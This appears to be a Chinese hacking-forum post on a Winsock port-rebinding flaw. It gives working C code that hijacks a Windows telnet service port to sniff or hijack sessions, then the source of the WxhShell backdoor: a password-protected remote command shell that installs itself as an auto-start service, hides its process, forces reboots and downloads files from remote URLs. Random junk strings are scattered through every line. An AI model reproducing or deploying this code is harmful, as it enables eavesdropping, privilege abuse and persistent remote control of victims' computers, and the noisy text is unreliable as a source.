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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: X;!~<~@Y  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); %4,?kh``D  
=~jA oOC@  
  saddr.sin_family = AF_INET; <2<87PU  
pbLGe'  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); d~Mg vh'  
S GM!#K  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 78]gt J  
JJnYOau  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 jg_n7  
@Y-TOCadT  
  这意味着什么?意味着可以进行如下的攻击: 0^&!6R  
2|{V,!/cvG  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 l r~gG3   
hs(W;tR@W  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ;LMWNy4  
c1%rV`)]  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 _|zBUrN  
62\&RRB i  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  XYfv(y  
%|+E48  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 @cv{rr  
T)SbHp Y  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 &&7r+.Y  
> 0.W`j(s  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 dR+1aY;  
4!%F\c46  
  #include B42sb_  
  #include zwr\:Hu4  
  #include "b,%8  
  #include    +iA=y=;blH  
  DWORD WINAPI ClientThread(LPVOID lpParam);   z-,VnhLx  
  int main() q SD9Pue  
  { =k{`oO~:9+  
  WORD wVersionRequested; &y\sL"YL!  
  DWORD ret; -JV~[-,  
  WSADATA wsaData; p]ivf  
  BOOL val; GEe`ZhG,  
  SOCKADDR_IN saddr; J/W{/E>;  
  SOCKADDR_IN scaddr; RU&_j* U  
  int err; _Qd,VE 8u  
  SOCKET s; 1RqgMMJL  
  SOCKET sc; ,t,wy37*D  
  int caddsize; *b)Q5dw@1  
  HANDLE mt; x0Z5zV9  
  DWORD tid;   *#&*`iJ(  
  wVersionRequested = MAKEWORD( 2, 2 ); YZE.@Rz  
  err = WSAStartup( wVersionRequested, &wsaData ); ~?U*6P)o  
  if ( err != 0 ) { 0X9Y~TM%  
  printf("error!WSAStartup failed!\n"); SEd5)0X^  
  return -1; J|~26lG  
  } L*JPe"N -e  
  saddr.sin_family = AF_INET; ;>"nn VW  
   uf'4'  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了  76H!)={  
i::\Z$L";i  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); n&Yk<  
  saddr.sin_port = htons(23); thW<   
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =Ho"N`Qy  
  { lMifpK  
  printf("error!socket failed!\n"); WsOi,oG@  
  return -1; =? :@  
  } e/s(ojDW  
  val = TRUE; DQXS$uBT  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 :c]`D>  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) n(vDytrj;  
  { 1HR~ G9  
  printf("error!setsockopt failed!\n"); ,k0r  
  return -1; N_DT7  
  } ZafboqsDL  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; %0-wpuHc(]  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 {`"#yl6"  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Hs(D/&6%  
w4:\N U  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) =f7r69I"  
  { {nMAm/kyj  
  ret=GetLastError(); Es'Um,ku  
  printf("error!bind failed!\n"); XFqJ 'R  
  return -1; eon!CE0  
  } b,^*mx=  
  listen(s,2); ;<wS+4,  
  while(1) mpay^.(%  
  { -J0WUN$2*  
  caddsize = sizeof(scaddr); #exss=as/  
  //接受连接请求 d- E4~)Qy  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 9NpD!A&64<  
  if(sc!=INVALID_SOCKET) F%/ h*  
  { }1H=wg>\  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); V H^AcO  
  if(mt==NULL) &KC!*}<tx  
  { XcfKx@l  
  printf("Thread Creat Failed!\n"); z2yJ#  
  break; M>H=z#C>/A  
  } my.`k'  
  } W WG /k17  
  CloseHandle(mt); pW?& J>\6  
  } }_OM$nzj  
  closesocket(s); fI|[Z+"  
  WSACleanup(); f4('gl9  
  return 0; ^U  q  
  }   oFC)  
  DWORD WINAPI ClientThread(LPVOID lpParam) Q<"[C 1Lj  
  { CAc %f9!3  
  SOCKET ss = (SOCKET)lpParam; eE]hy'{d<  
  SOCKET sc; O m'(mr  
  unsigned char buf[4096]; v3RcwySk  
  SOCKADDR_IN saddr; uB.-t^@  
  long num; ^]c6RE_  
  DWORD val; tj1JB%  
  DWORD ret; ` %?9=h%  
  //如果是隐藏端口应用的话,可以在此处加一些判断 >^_ bD  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   z;}6f  
  saddr.sin_family = AF_INET; wz /GB8P  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); -$a>f4]  
  saddr.sin_port = htons(23); NCS!:d:Ry  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) )j&"%[2F  
  { F # YPOH  
  printf("error!socket failed!\n"); mZvG|P$}  
  return -1; b"j|Bb  
  } #=,(JmQPt  
  val = 100; #`SD$;  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) KLQ!b,=q  
  { 9IZu$-  
  ret = GetLastError(); QLq@u[A  
  return -1; $1Nd_pD=  
  } &jQ?v@|1c  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) rR{,)fX;  
  { 4sF v?W  
  ret = GetLastError(); ":W%,`@$  
  return -1; tiaR4PB  
  } L/r@ S'  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) IMLsQit*  
  { lC?Icn|o  
  printf("error!socket connect failed!\n"); zY9 H%  
  closesocket(sc); 0Bolv_e  
  closesocket(ss); XSRdqU>Aun  
  return -1; 2%UBw SiqR  
  } P\R27Jd  
  while(1) /.Jb0h[W1  
  { *,WP,-0  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 dE=Ue#1U@5  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 )ZR+lX }  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 %@J1]E;  
  num = recv(ss,buf,4096,0); "5|Lz)=  
  if(num>0) #Z!b G?="  
  send(sc,buf,num,0); uQ Co6"e  
  else if(num==0) WMuD}s  
  break; \F6LZZ2Lv  
  num = recv(sc,buf,4096,0); j|_E$L A\  
  if(num>0) l}g;'9ZB  
  send(ss,buf,num,0); x^=M6;:  
  else if(num==0) j2n,f7hl.  
  break; Ukphd$3J=  
  } qN| fEO>  
  closesocket(ss); VHUW]8We  
  closesocket(sc); Z@rN_WXx  
  return 0 ; u=l1s1>  
  } JiS5um=(.  
x;E2~&E  
Cpl;vQ  
========================================================== 2&(sa0*y  
?/#}ZZK^  
下边附上一个代码,,WXhSHELL 83ipf"]*  
!fkep=  
========================================================== dj9 ?t  
:Ao!ls' =  
#include "stdafx.h" @1R P/y%  
l5t2\Fl  
#include <stdio.h> Ss ?CfRM  
#include <string.h> :VA.QrKW  
#include <windows.h> ~%y@Xsot>  
#include <winsock2.h> -M5=r>1;  
#include <winsvc.h> # '|'r+  
#include <urlmon.h> 9ptFG]lZ  
'_0]vupvY  
#pragma comment (lib, "Ws2_32.lib") ?(zoTxD  
#pragma comment (lib, "urlmon.lib") Vy)hDa[&  
!sSQQo2Sv  
#define MAX_USER   100 // 最大客户端连接数 N+W&NlZ   
#define BUF_SOCK   200 // sock buffer ~|+zJ5  
#define KEY_BUFF   255 // 输入 buffer !>^JSHR4t  
E_ucab-Fi  
#define REBOOT     0   // 重启 gQWd&)'muf  
#define SHUTDOWN   1   // 关机 hq>Csj==@  
g=)J~1&p  
#define DEF_PORT   5000 // 监听端口 <g2_6C\j  
% g"eV4 j  
#define REG_LEN     16   // 注册表键长度 "dh:-x6  
#define SVC_LEN     80   // NT服务名长度 )hKS0`$|  
}OShT+xeX  
// 从dll定义API GJ(d&o8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); CZ{k@z`r  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `(4pu6uT  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); XR+3j/zEQ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +FFG#6e  
4jm K].  
// wxhshell配置信息 S5=Udd"  
struct WSCFG { 4N? v  
  int ws_port;         // 监听端口 I?!rOU= 0  
  char ws_passstr[REG_LEN]; // 口令 -0HkTY  
  int ws_autoins;       // 安装标记, 1=yes 0=no u V6g[J  
  char ws_regname[REG_LEN]; // 注册表键名 yl]FP@N(  
  char ws_svcname[REG_LEN]; // 服务名 [\ )Ge  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 F_;tT%ywfx  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 I=DLPgzO9  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |PVt}*0"  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ztM<J+  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"  :S %lv  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -f(/B9}  
x<(b|2qf  
}; #TJk-1XM*q  
m@xi0t  
// default Wxhshell configuration oUDVy_k  
struct WSCFG wscfg={DEF_PORT, V2&^!#=s  
    "xuhuanlingzhe", dG'SZ&<  
    1, **_&i!dtL  
    "Wxhshell", ")#<y@Rv  
    "Wxhshell", qB6dFl\ (  
            "WxhShell Service", cSP*f0n,eo  
    "Wrsky Windows CmdShell Service", /ci]}`'ws  
    "Please Input Your Password: ", ilLBCS}  
  1, _uxPx21g}  
  "http://www.wrsky.com/wxhshell.exe", mPZGA\  
  "Wxhshell.exe" m 40m<@  
    }; 6)RbPPeE  
>O9 sk  
// 消息定义模块 EYS>0Y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]L_w$ev'  
char *msg_ws_prompt="\n\r? for help\n\r#>"; pR o s{Uq"  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; `|e!Kq?#Q  
char *msg_ws_ext="\n\rExit."; IfdI|ya  
char *msg_ws_end="\n\rQuit."; H. ,;-  
char *msg_ws_boot="\n\rReboot..."; h=VqxGC&  
char *msg_ws_poff="\n\rShutdown..."; =5]n\"/  
char *msg_ws_down="\n\rSave to "; ?^!,vh  
yOXO)u1n  
char *msg_ws_err="\n\rErr!"; Y Z}cB  
char *msg_ws_ok="\n\rOK!"; K\! #4>yd  
C*Vd-U  
char ExeFile[MAX_PATH]; Q%ad q-B  
int nUser = 0; 5OLQw(E  
HANDLE handles[MAX_USER]; ReB7vpd  
int OsIsNt; "l~Ci7& !a  
|cbd6e{!  
SERVICE_STATUS       serviceStatus; ]Tp U"JD  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; U\<-mXv  
T3J'fjY  
// 函数声明 pgc3jP!  
int Install(void); &K%aw  
int Uninstall(void); SOh-,c\C  
int DownloadFile(char *sURL, SOCKET wsh); h^|5|l  
int Boot(int flag); z5cYyx r>  
void HideProc(void); &k>aP0k"  
int GetOsVer(void); `$;+g ,  
int Wxhshell(SOCKET wsl); @uleyB  
void TalkWithClient(void *cs); 1TJ0D_,  
int CmdShell(SOCKET sock); s&PM,BFf  
int StartFromService(void); cSD{$B:  
int StartWxhshell(LPSTR lpCmdLine); a=]W zlz  
LgqGVh3\s  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); D#rrW?-z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); C*~aSl7  
HD`>-E#  
// 数据结构和表定义 5mB]N%rfW%  
SERVICE_TABLE_ENTRY DispatchTable[] = j+ ::y) $  
{ 1JS2SxF  
{wscfg.ws_svcname, NTServiceMain}, 7!V @/S}7  
{NULL, NULL} Z| 6{T  
}; d.F)9h]XHO  
!XE aF]8  
// 自我安装 &_-](w`  
int Install(void) LK7Xw3  
{  $g8}^1  
  char svExeFile[MAX_PATH]; ^QL 877  
  HKEY key; 5N/Lk>p1u  
  strcpy(svExeFile,ExeFile); |Ur"za;%@  
D0bnN1VP  
// 如果是win9x系统,修改注册表设为自启动 n]? WCG}cd  
if(!OsIsNt) { S q@H  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }p3b#fAr  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rzLd"`  
  RegCloseKey(key); gSi5u# }J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { XX;6 P  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Pe^ !$  
  RegCloseKey(key); i?}>.$j  
  return 0; |7F*MP  
    } I."p  
  } U@lV  
} yyl#{Nl@t  
else { W Ox_y,  
pWaPC /,g  
// 如果是NT以上系统,安装为系统服务 /p`&;/V|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); pa/9F[  
if (schSCManager!=0) /XpSe<3  
{ 4MvC]_&  
  SC_HANDLE schService = CreateService pA4 ,@O  
  ( ]#eh&jw  
  schSCManager, [/9(NUf  
  wscfg.ws_svcname, CY"i-e"q<Q  
  wscfg.ws_svcdisp, /'&;Q7!)  
  SERVICE_ALL_ACCESS, e1(h</MU2  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , c[(Pg%  
  SERVICE_AUTO_START, n~r 9!m$<  
  SERVICE_ERROR_NORMAL, RI.2F*|  
  svExeFile, ';YgG<u  
  NULL, D'i6",Z>  
  NULL, =:7$/T'Qg  
  NULL, [?KIN_e#  
  NULL, nB@UKX  
  NULL f6ZZ}lwaV  
  ); I 48VNX  
  if (schService!=0) ,@CfVQz  
  { LJuW${Y  
  CloseServiceHandle(schService); I0w%8bs  
  CloseServiceHandle(schSCManager); Gp2!xKgm  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^X1wI9V  
  strcat(svExeFile,wscfg.ws_svcname); &d^=s iL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {  W'/>et  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); L]bVN)JU  
  RegCloseKey(key); <0j{ $.  
  return 0; 4O$2]D.\  
    } L]-w;ll-  
  } ;iX<`re~  
  CloseServiceHandle(schSCManager); f\o R:%  
} (F5ttQPh  
} 78Y@OL_$  
h8v>zNf'  
return 1; vOT*iax0  
} McP.9v}H0_  
x-Z^Q C  
// 自我卸载 9D_wG\g  
int Uninstall(void) 7 `Du5>b8  
{ B@cz ?%]  
  HKEY key; 2i:zz? 'p`  
h7W}OF_=y  
if(!OsIsNt) { *o4%ul\3Y|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A~71i&  
  RegDeleteValue(key,wscfg.ws_regname); 3 N%{B  
  RegCloseKey(key); \r -N(;m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U":"geU  
  RegDeleteValue(key,wscfg.ws_regname); ~[18q+,  
  RegCloseKey(key); IC~ljy]y_  
  return 0; 4XG]z_+I  
  } F=Y S^  
} )/Y~6A9>  
} f%Ke8'&  
else { k|j:T[_  
OgMI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +VOb  
if (schSCManager!=0) MUwVG>b8J~  
{ /$`;r2LG  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); h}6_ybmZ  
  if (schService!=0) +TX/g~  
  { *x,HnHT  
  if(DeleteService(schService)!=0) { >>V&yJ_  
  CloseServiceHandle(schService); Q_}n%P:u  
  CloseServiceHandle(schSCManager); j jY{Uq  
  return 0; ^ KOzCLC  
  } >]/dOH,A  
  CloseServiceHandle(schService); 'lQYJ0  
  } D rS?=C@  
  CloseServiceHandle(schSCManager); I:&# U$  
} $c =&0yt5  
} ,)$Wm-  
S aNN;X0  
return 1; Gpu_=9vzv  
} _Ex?Xk  
%$9:e J?  
// 从指定url下载文件 o;;,iHu*  
int DownloadFile(char *sURL, SOCKET wsh) (,tHL  
{ VkXn8J  
  HRESULT hr; ~CFMIQ et  
char seps[]= "/"; Bz:0L1@,4a  
char *token; (j N]OE^  
char *file; Wem?{kx0  
char myURL[MAX_PATH]; [=~!w_  
char myFILE[MAX_PATH]; iS-K ~qa  
4A  o{M  
strcpy(myURL,sURL); ND,`QjmZ  
  token=strtok(myURL,seps); _LLshV3  
  while(token!=NULL) 3^~Zj95M  
  { fI}c 71b`  
    file=token; @_O3&ZK  
  token=strtok(NULL,seps); .zwVCW,u  
  } ;Jo*|pju  
LDX y}hm)  
GetCurrentDirectory(MAX_PATH,myFILE); fLM.k CD?u  
strcat(myFILE, "\\"); +$ ~8)95<B  
strcat(myFILE, file); ZgBckb  
  send(wsh,myFILE,strlen(myFILE),0); |Gc&1*$  
send(wsh,"...",3,0); npj5U/  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); D pNX66O  
  if(hr==S_OK) O3xz|&xY&  
return 0; iiN?\OO^~  
else sL mW\\kA>  
return 1; D;C5,rN t  
$Sw,hb  
} .f%vDBJS  
UzJ!Y/5  
// 系统电源模块 F*!gzKZ"  
int Boot(int flag) \7DCwu[0M  
{ gix>DHq$k  
  HANDLE hToken; Xj;2h{#s  
  TOKEN_PRIVILEGES tkp; kPedX  
)|:8zDuJ  
  if(OsIsNt) { @?M; 'xMbB  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3Tw%W0q  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ](n69XX_  
    tkp.PrivilegeCount = 1; Bxt_a.LthH  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; un&>  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); k!vHO  
if(flag==REBOOT) { X&,N}9>B  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 5iv@@1c  
  return 0; `.`FgaJ |  
} 4K'|DO|dH  
else { ZmP1C`>  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) oFn4%S:  
  return 0; ~D_ rZ&  
} b<\GI 7  
  } M;PlSb  
  else { QU%N*bFW%P  
if(flag==REBOOT) { Ks51:M  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #'KY`&Tw&  
  return 0; 1sMV`qv>  
} !,R  
else { ]%||KC!O  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !8Y3V/)NU  
  return 0; (E IRz>  
} Ga?UHw~  
} 3U>S]#5}  
$Uy#/MX  
return 1; H! #5!m&  
} sB8p( L  
%'kX"}N/  
// win9x进程隐藏模块 W=F3XYS  
void HideProc(void) -$b?rt]h1g  
{ eA10xpM0  
dkETM,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); i >J:W"W   
  if ( hKernel != NULL ) Ipg\9*c`  
  { ym[+Rw  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); z(jU|va{_1  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9M;I$_U`vj  
    FreeLibrary(hKernel); zQ=aey%  
  } t3 K>\ :  
2-PI JO  
return; O${r^6Hh  
} PXR0Yn  
Y'?Izn b  
// 获取操作系统版本 uH= Gt^_  
int GetOsVer(void) fo *!a$)  
{ LuLy6]6D;  
  OSVERSIONINFO winfo; 5#P: "U  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2"zIR (  
  GetVersionEx(&winfo); ^?#@[4?"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]y$)%J^T  
  return 1; <%he  o  
  else rT o%=0P  
  return 0; ~;TV74~rr  
} E8+8{ #f;  
i4 P$wlO  
// 客户端句柄模块 =SA 4\/  
int Wxhshell(SOCKET wsl) B>R* f C@g  
{ "[Yip5  
  SOCKET wsh; 1o(+rR<h9  
  struct sockaddr_in client; |_!PD$i-  
  DWORD myID; {6ajsy5=  
B6-AIPb  
  while(nUser<MAX_USER) |WQD=J%~(  
{ W5TqC  
  int nSize=sizeof(client); )0'Y et}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); p0"BO4({{  
  if(wsh==INVALID_SOCKET) return 1; U9bFUK/z  
kVy"+ZebK  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >>/nuWdpO  
if(handles[nUser]==0) "sC$%D<oc  
  closesocket(wsh); \? J=mE@;1  
else _CHKh*KHML  
  nUser++; |.^^|@+  
  } FLw[Mg:L  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); % cU-5\xF  
[ e$]pN%  
  return 0; XA=|]5C  
} mI2|0RWI)l  
SB5@\^  
// 关闭 socket jY1^+y{  
void CloseIt(SOCKET wsh) (L]T*03#  
{ ~4l6unCI  
closesocket(wsh); "X\q%%P=?  
nUser--; h<t<]i'  
ExitThread(0); T@2f&Un^  
} /M5=tW#e  
"#[o?_GaJ  
// 客户端请求句柄 \xy:6gd:  
void TalkWithClient(void *cs) >eTf}#s?S  
{ N;%j#(v j  
/^nP_ID  
  SOCKET wsh=(SOCKET)cs; E>o&GYc  
  char pwd[SVC_LEN]; #Lu4OSM+  
  char cmd[KEY_BUFF]; '&rw=.cU  
char chr[1]; "-G.V#zI  
int i,j; [R roHXdk+  
h}Fu"zK  
  while (nUser < MAX_USER) { Yk(NZ3O  
wI|bBfd(  
if(wscfg.ws_passstr) { Rt*-#`I $  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); eW<!^Aer  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); E;ndw/GZjR  
  //ZeroMemory(pwd,KEY_BUFF); (\5<GCW-  
      i=0; Lx|w~+k}  
  while(i<SVC_LEN) { 1',+&2)oj  
k i~Raa/e  
  // 设置超时 ":5~L9&G  
  fd_set FdRead; VKl~oFKXJ  
  struct timeval TimeOut; H J2O@e  
  FD_ZERO(&FdRead); h5h-}qBA  
  FD_SET(wsh,&FdRead); 1"87EP   
  TimeOut.tv_sec=8; vLVSZX  
  TimeOut.tv_usec=0; Ktj(&/~}  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); T1Ln)CS?9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1KfJl S+  
-Hl\j (D7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i[V,IP +  
  pwd=chr[0]; BbXmT"@  
  if(chr[0]==0xd || chr[0]==0xa) { Ip1QVND  
  pwd=0; 2}W6{T'  
  break; 0O@[on;Bd  
  } CJ37:w{%*Y  
  i++; p;)klH@X  
    } 67EDkknt  
@pyA;>U  
  // 如果是非法用户,关闭 socket 4jI*Y6Wkz  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^;v.ytO*  
} *GY,h$Ul  
5cv, >{~5  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ePFC$kMn  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >QbI)if`1  
mo97GW  
while(1) { C 6:pY-  
<ZN) /,4PS  
  ZeroMemory(cmd,KEY_BUFF); x %!OP\  
IWSEssP  
      // 自动支持客户端 telnet标准   av$\@4I  
  j=0; #dXZA>b9  
  while(j<KEY_BUFF) { ?L.p9o-S0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #oS  
  cmd[j]=chr[0]; -F~9f>  
  if(chr[0]==0xa || chr[0]==0xd) { Q'vIeG"o  
  cmd[j]=0; l-JKcsM  
  break; 6r ?cpJV{  
  } U7f#Z  
  j++; 60SenHKles  
    } ?N9adL &b  
l7FZ;%&  
  // 下载文件 M zA  
  if(strstr(cmd,"http://")) { _'o^@v:  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); v: !7n  
  if(DownloadFile(cmd,wsh)) SK~;<>:37  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); A*?/F:E  
  else u+"hr"}${  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lqwJ F &  
  } b]s%B.h  
  else { e=NQY8?  
%QlBFl0a  
    switch(cmd[0]) { ;U5x'}%0]  
  Ib<5u  
  // 帮助 YQw/[  
  case '?': { LP-KD  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (*@~HF,t=  
    break; HEW9YC"  
  } VA*79I#_q  
  // 安装 7~k~S>sO  
  case 'i': { ocuNrkZ  
    if(Install())  s`{#[&[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {mq$W  
    else jTxChR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Xj&~N;Ysb  
    break;  ;#Bh_f  
    } 4 w/t$lR  
  // 卸载 LxYM "_1A;  
  case 'r': { 2&G1Q'!  
    if(Uninstall()) 0 Ci"tA3"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QI^8b\36  
    else <]SS gQ9/"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q2"'W|I  
    break; `'{%szmD  
    } ,1.([%z+r  
  // 显示 wxhshell 所在路径 L M<=j  
  case 'p': { \$0 x8B   
    char svExeFile[MAX_PATH]; &B>uPZ]  
    strcpy(svExeFile,"\n\r"); I;fw]/M%!  
      strcat(svExeFile,ExeFile); 4wEpyQ|L  
        send(wsh,svExeFile,strlen(svExeFile),0); %v6]>FNP'3  
    break; ]idD&5gd  
    } 7Q4Pjc D  
  // 重启 &?ed.V@E5  
  case 'b': { 3qwYicq,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @R Yb-d  
    if(Boot(REBOOT)) q?'gwH37  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6 GevO3  
    else { YnL?t-$Gg  
    closesocket(wsh); P(gID  
    ExitThread(0); OrqJo!FEg{  
    } 2$/gg"g+  
    break; =xQfgj  
    } "/]tFY%Y  
  // 关机 \(v_",  
  case 'd': { DWevg;_]$(  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Gxt<kz  
